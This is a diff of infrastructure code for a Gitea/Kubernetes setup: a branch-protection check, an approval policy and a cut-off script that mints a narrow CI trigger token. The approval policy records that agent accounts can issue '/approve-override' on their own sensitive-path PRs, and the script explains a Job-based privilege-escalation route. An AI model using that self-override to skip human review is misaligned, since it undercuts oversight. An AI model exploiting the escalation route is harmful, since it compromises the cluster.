+[ "$ADMIN_BLOCK" = true ] || { echo "block_admin_merge_override is ${ADMIN_BLOCK}, MUST be true — the gate is now bypassable" >&2; fail=1; }
+[ "$STATUS" = true ]      || { echo "enable_status_check is ${STATUS}, MUST be true — the gate is no longer required" >&2; fail=1; }
+[ "$fail" -eq 0 ] || { echo "do NOT record this as applied." >&2; exit 1; }
+
+cat <<'NOTE'
+
+NOW PROVE IT -- the setting is not the evidence. Two things to see, not assume:
+
+  1. An APPROVAL IS NO LONGER NEEDED. On your own PR with a green gate, the merge button is
+     live with zero reviews on it.
+  2. THE GATE STILL BINDS. On a PR whose gate is RED or still pending, Gitea must REFUSE the
+     merge -- for you, as owner. If it lets you through, block_admin_merge_override is not
+     doing its job and this change has traded a lock-out for a bypass.
+
+Then confirm the detector agrees: run ci/gate.sh from a branch carrying the new
+expected-branch-protection.json and check that `gitea-settings` is green rather than DRIFT.
+NOTE

infra/gitea/approval-policy.json

@@ -0,0 +1,41 @@
+{
+  "_intent": "The CI/CD pipeline is the approver. A human approval is required ONLY for changes that alter what the pipeline itself verifies, or the security posture it rests on -- because those are the changes CI cannot honestly gate: a PR that weakens the gate would be approved by the weakened gate.",
+  "_rule": "If a PR touches any sensitive_paths glob, it needs an APPROVED review from someone who is not its author, OR an admin override (see .override). Everything else merges on a green gate alone.",
+  "_on_failure_to_evaluate": "BLOCK. Unlike gitea-settings, a skip here is a bypass, not a gap.",
+  "sensitive_paths": [
+    "ci/**",
+    ".gitea/**",
+    "conformance/**",
+    "clusters/**",
+    "bootstrap/**",
+    "infra/gitea/**",
+    "platform/kyverno/**",
+    "platform-config/kustomization.yaml",
+    ".sops.yaml",
+    "**/*.sops.yaml",
+    "**/rbac.yaml",
+    "CLAUDE.md"
+  ],
+  "_why_each": {
+    "ci/**, .gitea/**": "the pipeline itself -- the thing doing the approving",
+    "conformance/**": "the tests and the harness; changing them changes what green MEANS",
+    "clusters/**, bootstrap/**": "Flux wiring -- what reconciles, in what order, with what substitution",
+    "infra/gitea/**, platform-config/kustomization.yaml": "branch protection, the drift detector, and the list that decides which admission policies are actually applied",
+    "platform/kyverno/**": "the admission policy engine",
+    ".sops.yaml, **/*.sops.yaml, **/rbac.yaml": "encryption recipients, secrets, and cluster authority",
+    "CLAUDE.md": "the delivery contract agents follow"
+  },
+  "override": {
+    "_why": "This repository has ONE human. Gitea refuses to let an author approve their own pull request, so 'a non-author APPROVED review' is a requirement the sole administrator can never satisfy -- every sensitive-path PR they open was permanently unmergeable, including the PR that would fix it. Measured 2026-10-01: PR #35 green gate, zero reviews, unmergeable. An escape hatch that the administrator can actually reach is therefore REQUIRED for the repository to function; the design question is only whether it leaves a record. This one does.",
+    "enabled": true,
+    "comment_directive": "/approve-override",
+    "requires_reason": true,
+    "authorized_permissions": ["admin", "owner"],
+    "invalidated_by_new_commits": true,
+    "_how": "Post the directive at the START of a line, followed by a reason: '/approve-override <why>'. ci/approval-policy.sh resolves the poster's LIVE repo permission via /collaborators/{login}/permission and accepts the override only if it is in authorized_permissions. The overrider, the source, the timestamp and the reason are printed in the gate log and the job summary.",
+    "_where_to_post_it": "EITHER a PR REVIEW body (type 'Comment') OR the ordinary PR comment box. Prefer the REVIEW: measured 2026-10-02 on PR #38, a well-formed override in the comment box was INVISIBLE to CI, because /issues/{n}/comments sits behind Gitea's *issue* token scope and SETTINGS_API_TOKEN is minted [read:repository, read:admin]. Gitea returned an error object rather than an array, and the stage reported 'no approving review' -- a permission problem wearing the costume of a missing override. /pulls/{n}/reviews is under read:repository and was readable in the same run, so a review body is the route that works on today's token. infra/gitea/set-ci-token.sh now also requests read:issue, which makes the comment box work -- but only after that script is RE-RUN, since an existing token's scopes cannot be widened in place. The stage accepts both sources and names which one it used, so neither route is load-bearing alone.",
+    "_self_override_is_allowed": "The author may override their own PR if they hold an authorized permission. That is the entire point -- with one human there is no one else -- but it means the 'a change to the gate cannot be gated by the gate' protection is, for an administrator, advisory rather than structural. It is traded for an auditable record: the waiver is an explicit act, attributed, with a stated reason, in the PR's comment history and the gate output.",
+    "_known_consequence_agent_accounts": "ACCEPTED, EYES OPEN (operator decision, 2026-10-01). Authorisation is by live permission ALONE, with no allowlist of human accounts. The agent account `gitea-admin` reports permission `owner` on this repo (measured 2026-10-01), so an AGENT can clear the sensitive-path review on its own PR by posting the directive. Agents author most PRs here, so this is the broad case, not the edge case. To narrow it later without changing any logic, add an `override_admins` allowlist here and require membership in addition to the permission check -- ci/approval-policy.sh reads both from this file.",
+    "_staleness": "An override is dropped unless its comment is NEWER than the PR head commit, mirroring Gitea's own dismiss_stale_approvals. An override earned at commit A therefore does not silently cover commit B; push again and you must override again."
+  }
+}

infra/gitea/conformance-trigger-kubeconfig.sh

@@ -0,0 +1,575 @@
+#!/usr/bin/env bash
+# infra/gitea/conformance-trigger-kubeconfig.sh
+#
+# OPERATOR script for docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6 (= §5 step 7):
+# provision the NARROW CI trigger credential for L2/L3 conformance, and — only when the
+# rest of the trigger path actually exists — arm `vars.CLUSTER_AVAILABLE`.
+#
+# What it does, in order:
+#   1. measures the preconditions (cluster-side AND repo-side) instead of assuming them
+#   2. mints a bounded-lifetime ServiceAccount token for `conformance-trigger` in ns
+#      `conformance` (kubectl create token -> TokenRequest API)
+#   3. assembles a kubeconfig containing ONLY that token + the cluster CA + the API server
+#   4. PROVES the kubeconfig is the narrow identity (auth whoami + an allow/deny matrix)
+#   5. stores it as the Gitea Actions repo secret CONFORMANCE_TRIGGER_KUBECONFIG, and
+#      VERIFIES the store by reading the secret list back
+#   6. sets vars.CLUSTER_AVAILABLE=true ONLY under --arm-cluster-available, only with every
+#      precondition green, and only after a typed confirmation. Otherwise it REFUSES.
+#
+# NOTHING SECRET IS EVER PRINTED. The token exists in a shell variable and in a 0600 file
+# under a 0700 temp dir that is removed on exit; it reaches the Gitea API in a request-body
+# FILE (`--data @file`), never in argv, never on stdout. This script prints names, byte
+# lengths, HTTP status codes, the token's expiry timestamp, and yes/no authorization answers.
+#
+# ----------------------------------------------------------------------------------------
+# THREE HARD-WON LESSONS THIS SCRIPT IS BUILT AROUND
+# ----------------------------------------------------------------------------------------
+# 1. GITEA RESERVES THE `GITEA_` PREFIX FOR SECRET NAMES.
+#    `PUT .../actions/secrets/GITEA_ANYTHING` returns HTTP 400 {"message":"invalid secret
+#    name"}. That is why set-ci-token.sh stores SETTINGS_API_TOKEN and not
+#    GITEA_SETTINGS_TOKEN. `CONFORMANCE_TRIGGER_KUBECONFIG` is legal, and is the exact name
+#    .gitea/workflows/{gate.yml,merge-gate.yaml} already reference — do not "tidy" it.
+#
+# 2. `curl -sS` EXITS 0 ON AN HTTP ERROR. The first version of set-ci-token.sh sent its PUT
+#    to /dev/null and printed "stored" unconditionally; the secret never existed and nobody
+#    knew for hours. So every write here captures `-w '%{http_code}'`, checks it, AND reads
+#    the object back afterwards. A store is not claimed unless the read-back shows it.
+#
+# 3. `CLUSTER_AVAILABLE` IS A LOADED GUN — SEE THE 2026-09-29 CORRECTION IN THE PLAN.
+#    `conformance/run.sh` exits 0 in scaffold mode with all 54 tests `<skipped>` when it
+#    cannot reach a cluster. Measured on 2026-09-29: with CLUSTER_AVAILABLE=true and no
+#    trigger path, ci/conformance.sh printed "[ ok ] L2/L3 conformance passed" at rc 0 — a
+#    FAKE GREEN on an enforcing required status check. ci/conformance.sh now BLOCKS that
+#    case (exit 1), so today the variable does not enable L2/L3: it only changes which way
+#    the stage fails. Arming it before §3 items 1-4 land therefore buys nothing and breaks
+#    every PR. This script refuses to do it.
+#
+# ----------------------------------------------------------------------------------------
+# WHY THE PRECONDITIONS ARE SPLIT INTO TWO CLASSES (deliberate, and load-bearing)
+# ----------------------------------------------------------------------------------------
+# MINT-BLOCKING (cluster-side). Kubernetes places NO `use` check on a Job's
+# `serviceAccountName`, so a token with plain `create jobs` in ns `conformance` can create a
+# Job running as the PRIVILEGED `conformance-runner` SA with an arbitrary command. The
+# trigger Role is only the necessary half; the sufficient half is the Kyverno ClusterPolicy
+# `conformance-trigger-job-shape` (platform/kyverno/admission/), which must be present AND
+# Enforce AND Ready. Minting this token while that policy is absent or in Audit hands CI a
+# privileged identity. So those checks block the MINT itself — nothing is created if they
+# fail. (See conformance/incluster/rbac.yaml's trigger header and plan §4.)
+#
+# ARM-BLOCKING (repo-side). The runner image, the Job template's init-container, and
+# ci/conformance.sh's in-cluster trigger flow (plan §3 items 1, 2, 4) are what make a real
+# L2/L3 run possible. Storing the kubeconfig secret without them is harmless — the
+# conformance job is gated on the variable and never starts — and the plan explicitly lands
+# the secret before the switch. So these checks block ONLY the variable.
+#
+# Net effect: you can safely run this script today to provision the secret. It will then
+# REFUSE to arm the variable, and tell you exactly which repo-side item is missing.
+#
+# ----------------------------------------------------------------------------------------
+# USAGE
+# ----------------------------------------------------------------------------------------
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run
+#         Read-only. Measures every precondition, mints nothing, writes nothing.
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh [--server URL]
+#         Mint + store the secret. Does NOT touch CLUSTER_AVAILABLE.
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available
+#         The above, then set vars.CLUSTER_AVAILABLE=true after a typed confirmation —
+#         refused unless every precondition is green.
+#
+# Options:
+#   --dry-run                 measure only; no TokenRequest, no PUT/POST
+#   --arm-cluster-available   additionally set vars.CLUSTER_AVAILABLE=true (guarded)
+#   --server URL              API server URL to embed (default: the operator context's own)
+#   --context NAME            kube context to read the CA/server from (default: k3s-prod)
+#   --duration D              requested token lifetime (default: 720h = 30d)
+#   -h | --help               this text
+#
+# ON --server: the embedded server URL must be reachable FROM THE CI RUNNER POD, which is
+# not necessarily the address your workstation uses. The runner has broad egress and reaches
+# the kube-API VIP (per the plan: 192.168.1.49:6443). If your operator kubeconfig points at
+# a workstation-only name or a localhost tunnel, pass --server explicitly; the script warns
+# on a loopback server but cannot know your topology for you.
+#
+# ON TOKEN LIFETIME: this is a TokenRequest token and it EXPIRES. The API server may cap the
+# requested duration, so the script decodes the JWT `exp` claim and reports the ACTUAL
+# expiry rather than trusting --duration. Re-run this script to rotate. After expiry the
+# trigger gets 401 and the conformance stage FAILS (loudly) rather than skipping — which is
+# the correct direction, but put the expiry date in your calendar.
+#
+# DELIBERATELY NOT DONE: SOPS-sealing the token into secrets/conformance-trigger.sops.yaml
+# (plan §3 item 6's "for reproducibility/rotation"). A bearer token with a 30-day life
+# cannot usefully survive the branch -> PR -> review -> merge flow (CLAUDE.md §6), and
+# committing one buys re-issuance we get for free by re-running this script against the
+# live SA. If the operator still wants it sealed, that is a separate reviewed change.
+#
+# FORBIDDEN HERE, ON PURPOSE: no cluster-admin kubeconfig, no copy of the operator's own
+# kubeconfig, no widening of conformance/incluster/rbac.yaml, no mutating kubectl beyond the
+# TokenRequest itself, no `kubectl apply`.
+set -euo pipefail
+
+# xtrace would print the token. Refuse rather than leak.
+case "$-" in
+  *x*) echo "FATAL: refusing to run under 'set -x' — xtrace would print the token" >&2; exit 1 ;;
+esac
+umask 077
+
+HOST=gitea.home.keithjackson.dev
+OWNER=Home-Network
+REPO=home-network-k3s-impl
+# Legal secret name: NOT prefixed GITEA_ (lesson 1), and the name the workflows already use.
+SECRET=CONFORMANCE_TRIGGER_KUBECONFIG
+VARIABLE=CLUSTER_AVAILABLE
+NS=conformance
+SA=conformance-trigger
+RUNNER_SA=conformance-runner
+POLICY=conformance-trigger-job-shape
+# The image prefix the admission policy admits. Kept in sync with
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml by the P2 check below.
+RUNNER_IMAGE_PREFIX='gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:'
+
+KCTX=k3s-prod
+DURATION=720h
+DRY_RUN=false
+ARM=false
+SERVER_OVERRIDE=""
+
+REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
+
+step() { printf '\n==> %s\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+warn() { printf '    WARN: %s\n' "$*" >&2; }
+die()  { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
+
+usage() {
+  cat <<'USAGE'
+conformance-trigger-kubeconfig.sh — provision the narrow L2/L3 conformance CI trigger credential.
+
+  --dry-run                 measure every precondition; mint nothing, write nothing (read-only)
+  --arm-cluster-available   additionally set vars.CLUSTER_AVAILABLE=true (guarded + confirmed)
+  --server URL              API server URL to embed (default: the operator context's own;
+                            must be reachable FROM THE CI RUNNER POD — the kube-API VIP)
+  --context NAME            kube context to read the CA/server from (default: k3s-prod)
+  --duration D              requested token lifetime (default: 720h)
+  -h | --help               this text
+
+Read the header of this file before running it: the CLUSTER_AVAILABLE guard, the split between
+mint-blocking and arm-blocking preconditions, and why nothing secret is ever printed.
+USAGE
+}
+
+while [ $# -gt 0 ]; do
+  case "$1" in
+    --dry-run)               DRY_RUN=true ;;
+    --arm-cluster-available) ARM=true ;;
+    --server)                SERVER_OVERRIDE="${2:?--server needs a URL}"; shift ;;
+    --context)               KCTX="${2:?--context needs a name}"; shift ;;
+    --duration)              DURATION="${2:?--duration needs a value}"; shift ;;
+    -h|--help)               usage; exit 0 ;;
+    *)                       die "unknown argument: $1 (try --help)" ;;
+  esac
+  shift
+done
+if $DRY_RUN && $ARM; then die "--dry-run and --arm-cluster-available are contradictory"; fi
+
+for t in kubectl jq curl git base64; do
+  command -v "$t" >/dev/null || die "missing required tool: $t"
+done
+
+WORK="$(mktemp -d)"
+KC="${WORK}/conformance-trigger.kubeconfig"
+cleanup() { rm -rf "$WORK"; }
+trap cleanup EXIT
+trap 'cleanup; exit 130' INT TERM
+
+# ========================================================================================
+# 0. Gitea credentials — from the credential helper git already has for this host, exactly
+#    as branch-protection.sh / set-ci-token.sh / require-gate.sh do. Never in argv: curl
+#    reads them from a --config file descriptor.
+# ========================================================================================
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"
+P="$(sed -n 's/^password=//p' <<<"$creds")"
+unset creds
+[ -n "$U" ] && [ -n "$P" ] || die "no stored credential for ${HOST} (git credential fill returned nothing)"
+basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+API="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
+
+# ========================================================================================
+# 1. PRECONDITIONS — measured, never assumed (CLAUDE.md §2b: query the thing itself).
+#    Two independent tallies, per the split documented in the header.
+# ========================================================================================
+MINT_FAIL=0
+ARM_FAIL=0
+pass()      { printf '    [ ok ]   %s\n' "$*"; }
+fail_mint() { printf '    [MINT-BLOCK] %s\n' "$*" >&2; MINT_FAIL=$((MINT_FAIL + 1)); }
+fail_arm()  { printf '    [ARM-BLOCK]  %s\n' "$*" >&2; ARM_FAIL=$((ARM_FAIL + 1)); }
+
+step "preconditions — cluster side (these block the MINT: without them the token IS privileged)"
+
+kubectl --context "$KCTX" get --raw /version >/dev/null 2>&1 \
+  || die "cannot reach the API server via context '${KCTX}' — nothing below can be measured"
+pass "API server reachable via context ${KCTX}"
+
+# C1: the trigger identity exists (created by Flux from conformance/incluster/rbac.yaml via
+# clusters/base/conformance.yaml). We print object names only, never contents.
+if kubectl --context "$KCTX" -n "$NS" get serviceaccount "$SA" -o name >/dev/null 2>&1; then
+  pass "ServiceAccount ${NS}/${SA} exists"
+else
+  fail_mint "ServiceAccount ${NS}/${SA} is ABSENT — is the 'conformance' Flux Kustomization reconciled?"
+fi
+for kind in role rolebinding; do
+  if kubectl --context "$KCTX" -n "$NS" get "$kind" "$SA" -o name >/dev/null 2>&1; then
+    pass "${kind} ${NS}/${SA} exists"
+  else
+    fail_mint "${kind} ${NS}/${SA} is ABSENT — the token would authenticate but authorize nothing"
+  fi
+done
+
+# C2: THE SECURITY BOUNDARY. Present, Enforce, and Ready. Anything else and we do not mint.
+# `validationFailureAction: Audit` is not a boundary; an unready policy is not a boundary.
+if pol="$(kubectl --context "$KCTX" get clusterpolicy "$POLICY" -o json 2>/dev/null)"; then
+  action="$(jq -r '.spec.validationFailureAction // .spec.rules[0].validate.failureAction // "UNSET"' <<<"$pol")"
+  failpol="$(jq -r '.spec.failurePolicy // "UNSET"' <<<"$pol")"
+  # Kyverno moved readiness from .status.ready to a Ready condition; accept either, and
+  # treat "neither key present" as UNMEASURABLE -> block (fail closed, do not assume ready).
+  ready="$(jq -r '
+      if (.status.ready != null) then (.status.ready | tostring)
+      elif (.status.conditions != null) then
+        ((.status.conditions[] | select(.type == "Ready") | .status) // "UNKNOWN")
+      else "UNKNOWN" end' <<<"$pol")"
+  info "ClusterPolicy ${POLICY}: validationFailureAction=${action} failurePolicy=${failpol} ready=${ready}"
+  [ "$action" = "Enforce" ] || fail_mint "ClusterPolicy ${POLICY} is '${action}', not Enforce — the trigger would be unbounded"
+  [ "$failpol" = "Fail" ]   || fail_mint "ClusterPolicy ${POLICY} failurePolicy='${failpol}', not Fail — a Kyverno outage would admit arbitrary Jobs"
+  case "$ready" in
+    true|True) pass "ClusterPolicy ${POLICY} reports Ready" ;;
+    *)         fail_mint "ClusterPolicy ${POLICY} does not report Ready (got '${ready}') — refusing to assume it is loaded" ;;
+  esac
+else
+  fail_mint "ClusterPolicy ${POLICY} is ABSENT — plan §4's boundary does not exist; a token with 'create jobs' here can run arbitrary code as ${RUNNER_SA}"
+fi
+
+step "preconditions — repo side (these block ONLY arming ${VARIABLE}; the secret may be stored first)"
+
+# R1: the runner image is built and digest-pinned. Without it the Job cannot run run.sh at
+# all (the stock chainsaw image has no bash/python3/kubectl/git) — plan §3 item 1.
+VERSIONS="${REPO_ROOT}/conformance/versions.env"
+if grep -Eq '^[[:space:]]*CONFORMANCE_RUNNER_IMAGE=.*@sha256:[0-9a-f]{64}' "$VERSIONS" 2>/dev/null; then
+  pass "CONFORMANCE_RUNNER_IMAGE is digest-pinned in conformance/versions.env"
+else
+  fail_arm "conformance/versions.env has no digest-pinned CONFORMANCE_RUNNER_IMAGE (plan §3 item 1) — the Job cannot run ./run.sh"
+fi
+
+# R2: the Job template is the real thing, not the skeleton: the admitted image AND an
+# init-container that populates the empty `workspace` volume with the suite at the PR SHA
+# (plan §3 item 2). A template whose image the policy will not admit is a guaranteed denial.
+JOBTPL="${REPO_ROOT}/conformance/incluster/chainsaw-job.yaml"
+if grep -q 'initContainers' "$JOBTPL" 2>/dev/null; then
+  pass "chainsaw-job.yaml declares an initContainers block (workspace population)"
+else
+  fail_arm "chainsaw-job.yaml has no initContainers — 'workspace' is an empty emptyDir and the suite is never delivered (plan §3 item 2)"
+fi
+if grep -q "$RUNNER_IMAGE_PREFIX" "$JOBTPL" 2>/dev/null; then
+  pass "chainsaw-job.yaml uses the digest-pinned image the admission policy admits"
+else
+  fail_arm "chainsaw-job.yaml does not use ${RUNNER_IMAGE_PREFIX}… — every triggered Job would be DENIED by ${POLICY}"
+fi
+
+# R3: ci/conformance.sh actually drives the in-cluster Job. Today it mentions
+# CONFORMANCE_TRIGGER_KUBECONFIG only in a TODO comment and otherwise runs run.sh LOCALLY in
+# the CI job — where there is no credential at all (the runner sets
+# automountServiceAccountToken: false by design), so it can only scaffold-skip. Hence the
+# check must ignore comment lines: a mention in prose is not an implementation.
+#
+# ONE awk, NOT `grep -v … | grep -q …`: under `set -o pipefail` a successful `grep -q` exits
+# early, the upstream grep takes EPIPE, and the pipeline reports non-zero — which would read
+# here as "unwired" exactly when the seam IS wired. A single process cannot have that bug.
+CONF_STAGE="${REPO_ROOT}/ci/conformance.sh"
+if awk '!/^[[:space:]]*#/ && /CONFORMANCE_TRIGGER_KUBECONFIG/ { found = 1 } END { exit !found }' \
+     "$CONF_STAGE" 2>/dev/null; then
+  pass "ci/conformance.sh references CONFORMANCE_TRIGGER_KUBECONFIG in code (in-cluster trigger path wired)"
+else
+  fail_arm "ci/conformance.sh mentions CONFORMANCE_TRIGGER_KUBECONFIG only in comments — the trigger path is UNIMPLEMENTED (plan §3 item 4); arming ${VARIABLE} now only changes which way the stage fails"
+fi
+
+info ""
+info "precondition tally: mint-blocking failures=${MINT_FAIL}  arm-blocking failures=${ARM_FAIL}"
+
+if [ "$MINT_FAIL" -gt 0 ]; then
+  cat >&2 <<EOF
+
+REFUSING TO MINT. ${MINT_FAIL} cluster-side precondition(s) failed.
+
+Minting a token for ${NS}/${SA} while the admission boundary is absent/Audit/unready hands CI
+an identity that can create a Job running as ${RUNNER_SA} (nodes/patch, pods/exec,
+namespaces/patch) with an arbitrary command. That is precisely the escalation
+docs/plans/l2-l3-conformance-ci-wiring.md §4 exists to close, and RBAC cannot close it.
+
+Fix the cluster side first (reconcile platform/kyverno/admission/ and conformance/incluster/,
+confirm the ClusterPolicy is Enforce + Ready), then re-run. Nothing was created.
+EOF
+  exit 1
+fi
+
+if $ARM && [ "$ARM_FAIL" -gt 0 ]; then
+  cat >&2 <<EOF
+
+REFUSING TO ARM ${VARIABLE}. ${ARM_FAIL} repo-side precondition(s) failed.
+
+Measured 2026-09-29: with ${VARIABLE}=true and no working trigger path, conformance/run.sh
+scaffold-skips all 54 tests at rc 0 and ci/conformance.sh used to print
+"[ ok ] L2/L3 conformance passed" — a fake green on an enforcing required status check. The
+guard now in ci/conformance.sh turns that into exit 1 instead, so arming today does not
+enable L2/L3: it breaks every PR while proving nothing.
+
+Land plan §3 items 1, 2 and 4 first. Re-run WITHOUT --arm-cluster-available to provision the
+secret in the meantime — that part is safe and is step 6's intended order.
+EOF
+  exit 1
+fi
+
+if $DRY_RUN; then
+  step "DRY RUN — stopping here. Nothing was minted, nothing was written."
+  info "secret that WOULD be written: ${SECRET} (repo ${OWNER}/${REPO})"
+  info "variable that WOULD be set:   none — ${VARIABLE} is never touched in --dry-run"
+  # Read-only visibility into what is already there. Gitea never returns secret VALUES.
+  names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')" || true
+  info "existing Actions secret names: ${names:-<unreadable>}"
+  cur="$(basic -o "${WORK}/var.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")" || true
+  if [ "$cur" = 200 ]; then
+    info "existing ${VARIABLE} = $(jq -r '.data // "<no data field>"' "${WORK}/var.json")"
+  else
+    info "existing ${VARIABLE}: not set (HTTP ${cur})"
+  fi
+  exit 0
+fi
+
+# ========================================================================================
+# 2. MINT the ServiceAccount token (TokenRequest). This is the only write this script makes
+#    against the cluster, and it creates no durable object.
+# ========================================================================================
+step "minting a ServiceAccount token for ${NS}/${SA} (requested duration ${DURATION})"
+TOKEN="$(kubectl --context "$KCTX" -n "$NS" create token "$SA" --duration="$DURATION")" \
+  || die "kubectl create token failed for ${NS}/${SA}"
+[ -n "$TOKEN" ] || die "kubectl create token returned an empty token"
+info "got a ${#TOKEN}-character token (value NOT shown)"
+
+# Report the ACTUAL expiry from the JWT rather than trusting --duration: the API server caps
+# TokenRequest lifetimes (--service-account-max-token-expiration) and silently shortens.
+jwt_exp() {
+  local payload pad b64
+  payload="$(cut -d. -f2 <<<"$1")"
+  pad=$(( (4 - ${#payload} % 4) % 4 ))
+  b64="$(tr '_-' '/+' <<<"$payload")$(printf '%*s' "$pad" '' | tr ' ' '=')"
+  printf '%s' "$b64" | base64 -d 2>/dev/null | jq -r '.exp // empty' 2>/dev/null || true
+}
+exp="$(jwt_exp "$TOKEN")"
+if [ -n "$exp" ]; then
+  info "token expires: $(date -u -d "@${exp}" '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "epoch ${exp}") — re-run this script to rotate"
+else
+  warn "could not decode the token's exp claim; lifetime is UNVERIFIED (requested ${DURATION})"
+fi
+
+# ========================================================================================
+# 3. ASSEMBLE the kubeconfig — SA token + cluster CA + server. Nothing else.
+#
+#    The CA and the server URL are read from the operator's context, but the operator's
+#    client certificate/key are NEVER copied: only .cluster fields are extracted. `config
+#    view --raw` output is held in a variable and discarded, never printed.
+#    Built with jq (not `kubectl config set-credentials --token=…`) so the token never
+#    appears in argv where `ps` can see it.
+# ========================================================================================
+step "assembling the kubeconfig (SA token only — never cluster-admin, never the operator's)"
+raw="$(kubectl --context "$KCTX" config view --raw --minify -o json)" \
+  || die "could not read context '${KCTX}' from the operator kubeconfig"
+SERVER="$(jq -r '.clusters[0].cluster.server // empty' <<<"$raw")"
+CADATA="$(jq -r '.clusters[0].cluster["certificate-authority-data"] // empty' <<<"$raw")"
+CAFILE="$(jq -r '.clusters[0].cluster["certificate-authority"] // empty' <<<"$raw")"
+INSECURE="$(jq -r '.clusters[0].cluster["insecure-skip-tls-verify"] // false | tostring' <<<"$raw")"
+unset raw
+
+[ -n "$SERVER" ] || die "context '${KCTX}' has no cluster.server"
+if [ -n "$SERVER_OVERRIDE" ]; then
+  info "overriding server ${SERVER} -> ${SERVER_OVERRIDE}"
+  SERVER="$SERVER_OVERRIDE"
+fi
+case "$SERVER" in
+  *localhost*|*127.0.0.1*|*://0.0.0.0*)
+    die "server '${SERVER}' is loopback — the CI runner pod cannot reach it. Pass --server with the address the runner uses (the kube-API VIP)." ;;
+esac
+if [ -z "$CADATA" ] && [ -n "$CAFILE" ]; then
+  [ -r "$CAFILE" ] || die "certificate-authority file '${CAFILE}' is not readable"
+  CADATA="$(base64 -w0 <"$CAFILE")"
+fi
+[ -n "$CADATA" ] || die "no cluster CA available for '${KCTX}' (insecure-skip-tls-verify=${INSECURE}); refusing to emit a kubeconfig that trusts anything"
+[ "$INSECURE" = "false" ] || die "context '${KCTX}' sets insecure-skip-tls-verify; refusing to propagate that into CI"
+info "server: ${SERVER}"
+info "CA: ${#CADATA} base64 characters embedded (public certificate, not a secret)"
+
+jq -n --arg srv "$SERVER" --arg ca "$CADATA" --arg tok "$TOKEN" --arg ns "$NS" --arg sa "$SA" '
+{
+  apiVersion: "v1",
+  kind: "Config",
+  clusters:  [ { name: "conformance", cluster: { server: $srv, "certificate-authority-data": $ca } } ],
+  users:     [ { name: $sa, user: { token: $tok } } ],
+  contexts:  [ { name: "conformance", context: { cluster: "conformance", user: $sa, namespace: $ns } } ],
+  "current-context": "conformance"
+}' >"$KC"
+chmod 600 "$KC"
+info "kubeconfig written to the temp dir: $(wc -c <"$KC") bytes (content NOT shown)"
+
+# Prove kubectl can PARSE the file we generated (JSON is valid YAML, but assert it rather
+# than assume it) — this prints only the server we already printed.
+parsed="$(kubectl --kubeconfig "$KC" config view -o jsonpath='{.clusters[0].cluster.server}')" \
+  || die "kubectl cannot parse the generated kubeconfig"
+[ "$parsed" = "$SERVER" ] || die "generated kubeconfig parses to server '${parsed}', expected '${SERVER}'"
+pass "kubectl parses the generated kubeconfig"
+
+# ========================================================================================
+# 4. PROVE it is the narrow identity. Two independent proofs:
+#      a) who the token authenticates AS (SelfSubjectReview)
+#      b) an allow/deny matrix (SelfSubjectAccessReview) — both halves matter: "can create
+#         jobs" proves it works, "cannot get secrets / delete jobs / exec" proves it is not
+#         something wider that happens to include the trigger rights.
+#    All read-only. `auth can-i` answers from the API server's own authorizer.
+# ========================================================================================
+step "verifying the credential is the NARROW trigger identity"
+EXPECT_USER="system:serviceaccount:${NS}:${SA}"
+if who="$(kubectl --kubeconfig "$KC" auth whoami -o jsonpath='{.status.userInfo.username}' 2>/dev/null)"; then
+  [ "$who" = "$EXPECT_USER" ] || die "token authenticates as '${who}', expected '${EXPECT_USER}' — WRONG CREDENTIAL, nothing stored"
+  pass "authenticates as ${who}"
+else
+  warn "'kubectl auth whoami' unavailable (older kubectl / SelfSubjectReview denied) — identity UNVERIFIED by this check; the matrix below still constrains it"
+fi
+
+# A real authorization round-trip, not just a review: `list jobs` is granted by the Role.
+kubectl --kubeconfig "$KC" -n "$NS" get jobs -o name >/dev/null \
+  || die "the minted credential cannot list Jobs in ns ${NS} — the RoleBinding is not effective; nothing stored"
+pass "can list Jobs in ns ${NS} (end-to-end authentication + authorization)"
+
+cani() { # cani <expected yes|no> <verb> <resource...>
+  local want="$1"; shift
+  local got
+  got="$(kubectl --kubeconfig "$KC" auth can-i "$@" 2>/dev/null || true)"
+  case "$got" in
+    yes|no) : ;;
+    *) die "auth can-i '$*' returned '${got:-<nothing>}' — cannot measure the identity's rights; refusing to store an unverified credential" ;;
+  esac
+  if [ "$got" = "$want" ]; then
+    pass "can-i $* -> ${got} (expected)"
+  else
+    die "can-i $* -> ${got}, expected ${want}. This credential is NOT the narrow trigger identity described in conformance/incluster/rbac.yaml. Nothing stored. Do NOT widen that Role to make this pass — investigate what it is actually bound to."
+  fi
+}
+# Granted by the trigger Role (create/get/list/watch jobs; get/list/watch pods + pods/log).
+cani yes create jobs.batch -n "$NS"
+cani yes get    pods       -n "$NS"
+cani yes get    pods/log   -n "$NS"
+# Explicitly NOT granted — each is a specific escape route the Role's comments call out.
+cani no  delete jobs.batch -n "$NS"          # a trigger that can delete can hide a failed run
+cani no  create pods/exec  -n "$NS"          # no execution channel into the runner pod
+cani no  get    secrets    -n "$NS"
+cani no  create jobs.batch -n default        # namespaced Role: no reach outside ns conformance
+cani no  get    nodes                        # the RUNNER has nodes/patch; the trigger must not
+cani no  '*' '*' --all-namespaces            # not cluster-admin, stated as a measurement
+
+# ========================================================================================
+# 5. STORE as the Gitea Actions repo secret, then VERIFY BY READING IT BACK (lesson 2).
+#    The body goes in a 0600 file so the token is not in argv.
+# ========================================================================================
+step "storing the kubeconfig as repo Actions secret ${SECRET}"
+jq -n --rawfile d "$KC" '{data:$d}' >"${WORK}/body.json"
+chmod 600 "${WORK}/body.json"
+code="$(basic -o "${WORK}/put.out" -w '%{http_code}' -X PUT \
+          -H 'Content-Type: application/json' --data @"${WORK}/body.json" \
+          "${API}/actions/secrets/${SECRET}")"
+unset TOKEN
